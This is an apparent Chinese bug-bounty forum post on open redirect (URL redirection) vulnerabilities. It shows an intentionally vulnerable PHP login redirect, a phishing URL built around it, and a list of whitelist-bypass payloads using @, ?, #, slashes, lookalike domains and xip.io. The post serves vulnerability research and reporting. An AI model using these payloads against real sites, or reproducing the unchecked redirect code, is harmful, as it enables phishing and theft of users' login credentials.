前言

最近在一些厂商项目中开始接触到一些url任意重定向,虽然是低危,奖金较低,(虽然国外已经是几百$)但是一旦找到突破点,几乎整个站的url跳转都可以bypass,一个厂商所有点的url跳转加起来奖金也比较可观,所以将自己挖掘过程中一点点心得分享一下。

简介

先走个流程说些废话,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼,浅析危害。

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form method="get" action="url.php">
<br><br><br><br>
username:
<input type="text" name="username">
<br><br>
password:
<input type="text" name="password">
<input type="submit" value="登陆" name="password">
</form>

<?php

$url=$_GET['redict'];
echo $_GET['username'];
if ($_GET['username']&&$_GET['password']) {

    header("Location:$url");exit;
}

?>

最简单的代码实例,也是很贴近真实渗透的案例,登陆跳转,后面通常是加上自己业务的url,一旦存在url任意重定向,发送给用户,会毫不疑问的输入账号密码登陆,然后跳转到我们想要他跳转的url,比如:

我们发送给用户这样的url,

http://127.0.0.1/url.php?username=&password=&redict=http://127.0.0.1/fish.php

用户正常输入账号密码登陆点击登陆。跳转到构造的页面。(我可真是个钓鱼鬼才)

当然钓鱼界面可以伪造一切你想获取的信息。

bypass

其实bypass没什么新的套路(我暂时没),都是网上有的,师傅们可以百度到的,我整理一下,利用上面的代码简单测试,都是本地测试通过的。www.xiaozhupeiqi.com是服务器要求跳转的url。

1.最常用的一条:@绕过。

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com@www.baidu.com //ssrf也可用

2.绕过一些匹配特定字符。

?绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com?www.xiaozhupeiqi.com

#绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com#www.xiaozhupeiqi.com

3.斜杠/绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com/www.xiaozhupeiqi.com

或者反斜线

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com\www.xiaozhupeiqi.com

4.白名单匹配绕过

比如匹配规则是必须跳转,xiaozhupeiqi.com 域名下,?#等都不行的时候,如果匹配规则为xiaozhupeiqi.com,可以尝试百度inurl:xiaozhupeiqi.com的域名,比如
aaaxiaozhupeiqi.com,这样同样可以绕过。接下来实战中会用到,

5.xip.io绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com.220.181.57.217.xip.io
点击收藏 | 10 关注 | 3
登录 后跟帖